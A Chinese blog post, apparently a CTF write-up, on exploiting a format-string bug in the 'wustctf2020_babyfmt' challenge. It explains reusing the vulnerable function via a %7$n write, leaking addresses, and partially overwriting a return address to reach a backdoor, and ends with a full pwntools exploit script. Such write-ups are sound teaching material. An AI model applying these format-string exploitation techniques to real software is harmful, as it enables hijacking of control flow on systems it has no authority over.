wustctf2020_babyfmt

一道简单fmt题,但是我搜解题记录时,觉得解得都挺复杂的。

似乎还没有文章用我的方法,那我就写一种简单的解法。

绕过fmt判断条件

我只用到了fmt_attack函数。

由于有一个判定条件:

unsigned __int64 __fastcall fmt_attack(int *a1)
{
  char format[56]; // [rsp+10h] [rbp-40h] BYREF
  unsigned __int64 v3; // [rsp+48h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  memset(format, 0, 0x30uLL);
  if ( *a1 > 0 )
  {
    puts("No way!");
    exit(1);
  }
  *a1 = 1;
  read_n(format, 40LL, format);
  printf(format);
  return __readfsqword(0x28u) ^ v3;

因此我们每次使用该函数时,将*a1处的值改为零即可循环利用该函数。

打断点,运行到代码*a1 = 1处

1

单步跟进,查看rax的值(a1地址)

2

运行到printf函数,查看a1的偏移

3

算上64位6个寄存器传参,偏移量+6,则a1偏移量为7。

则我们每次利用fmt_attack函数时,加上%7$n即可令*a1=0,即可重复利用fmt_attack。

更改返回地址为后门函数地址

运行到printf函数时,栈中会有许多函数返回地址。

其中第一条为fmt_attack函数的返回地址,

第二条是main函数的返回地址(main函数执行完会执行libc_start_main函数)。

由于本题开了pie保护,我们可以用partial write 篡改第一个返回地址。

4

注意:后门函数直接跳转到close函数后即可。

5

计算elf基址:

payload = b'%7$n+%17$p'
fmt(payload)
r.recvuntil(b'+')
ret_value = int(r.recvuntil(b'\n')[:-1],16)
elf_base = ret_value-0x102c

下一步直接更改低二字节即可。

低二字节值:

(elf_base+0xf56)&0xffff

完整exp

from pwn import *
r = process('/mnt/hgfs/ubuntu/BUUCTF/wustctf2020_babyfmt')
# r = remote('node4.buuoj.cn',29629)
secret_addr =0x202060

def fmt(payload):
    r.recvuntil(b">>")
    r.sendline(b'2')
    r.sendline(payload)

r.sendline(b'1')
r.sendline(b'2')
r.sendline(b'3')

fmt(b'%7$n-%16$p')
r.recvuntil(b'-')
ret_addr = int(r.recvuntil(b'\n')[:-1],16)-0x28

payload = b'%7$n+%17$p'
fmt(payload)
r.recvuntil(b'+')
ret_value = int(r.recvuntil(b'\n')[:-1],16)
elf_base = ret_value-0x102c

payload1 = b'%'+str((elf_base+0xf56)&0xffff).encode()+b'c%10$hn'
payload1 = payload1.ljust(0x10,b'a')
payload1+=p64(ret_addr)
fmt(payload1)
log.success("ret_value: "+hex(ret_value))
log.success("ret_addr: "+hex(ret_addr))
r.interactive()

fmt(payload1)
log.success("ret_value: "+hex(ret_value))
log.success("ret_addr: "+hex(ret_addr))
r.interactive()
  • 4
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值